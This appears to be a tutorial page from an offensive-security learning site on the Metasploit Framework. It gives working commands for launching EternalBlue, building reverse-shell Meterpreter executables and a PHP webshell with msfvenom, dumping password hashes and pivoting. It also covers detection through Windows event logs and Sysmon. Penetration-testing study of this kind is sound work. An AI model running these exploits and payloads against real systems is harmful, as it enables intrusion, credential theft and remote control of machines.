Skip to content
Pwnversity
TOOL-METASPLOITintermediate · 5 min · upd. 2026-10

Metasploit

The Metasploit Framework is the best-known exploitation platform: an arsenal of exploits, payloads, and auxiliary modules with a common interface. It speeds up exploitation and post-exploitation, though in settings like the OSCP it’s worth knowing how to do it “by hand” too (see Windows privesc, Malware evasion).

The Metasploit Framework (Rapid7, open source) is a modular Ruby framework for developing and launching exploits. It bundles thousands of modules behind a common console (msfconsole), a database to organize work, and msfvenom to generate payloads.

Key concepts:

  • Exploit: code that abuses a vulnerability to run a payload.
  • Payload: what runs after exploitation (shell, Meterpreter, a command).
  • Auxiliary: modules that don’t exploit (scanners, fuzzers, enumeration).
  • Post: post-exploitation modules (collection, pivoting, persistence).
  • Meterpreter: advanced in-memory payload with many capabilities.
  • Launch known exploits in a standardized, reliable way.
  • Generate payloads for many platforms with msfvenom.
  • Manage sessions, pivot into internal networks, and do post-exploitation.
Ventana de terminal
sudo apt install metasploit-framework # Kali/Parrot ship it
msfconsole -q # start without the banner
msfdb init # initialize the database (PostgreSQL)

Standard flow inside msfconsole:

Ventana de terminal
search type:exploit platform:windows smb # find a module
use exploit/windows/smb/ms17_010_eternalblue # select it
show options # view required parameters
set RHOSTS 10.10.10.10 # target
set LHOST 10.10.14.5 # your IP (for the reverse connection)
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run # or 'exploit'

Session management:

Ventana de terminal
sessions -l # list active sessions
sessions -i 1 # interact with session 1
background # send the session to the background (Ctrl+Z)

msfvenom generates standalone payloads:

Ventana de terminal
# Windows, Meterpreter reverse TCP in an EXE
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=443 -f exe -o shell.exe
# Linux ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=443 -f elf -o shell.elf
# PHP webshell
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f raw -o shell.php
# list payloads and formats
msfvenom --list payloads
msfvenom --list formats

To catch the connection from an msfvenom payload, use the generic handler:

Ventana de terminal
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 443
run

Meterpreter (inside a session):

Ventana de terminal
sysinfo # system information
getuid # current user
hashdump # dump hashes (requires privileges)
download /path/file # download from the target
upload local remote # upload to the target
shell # drop to a native OS shell

Pivoting and routes into internal networks:

Ventana de terminal
run autoroute -s 10.10.20.0/24 # add a route through the current session
# or via the post/multi/manage/autoroute module
flowchart LR
  A[msfconsole + msfdb] --> B[search / use]
  B --> C[set RHOSTS/LHOST/PAYLOAD]
  C --> D[run exploit]
  D --> E{Session}
  E -->|Meterpreter| F[post-exploitation]
  F --> G[autoroute / pivoting]
  A -.->|db_nmap| H[(workspace DB)]
  • Use workspace -a client to isolate each target in the database.
  • db_nmap <args> runs nmap and stores the results straight into the DB.
  • setg sets global variables (LHOST) so you don’t repeat them per module.
  • The default Meterpreter payload and many exploits have known signatures: EDR and AV detect them easily if not obfuscated.
  • exploit/windows/smb/psexec and the like create services and leave traces in Windows event logs (Event ID 7045, service creation).
  • In-memory injection and anomalous child processes (e.g. spoolsv.exe spawning cmd.exe) are detectable with Sysmon (see Sysmon).
  • Database initialized and a workspace per target.
  • Correct module selected and show options reviewed.
  • RHOSTS/LHOST/PAYLOAD set and consistent.
  • Handler listening before running an msfvenom payload.
  • Activity within authorized scope and sessions under control.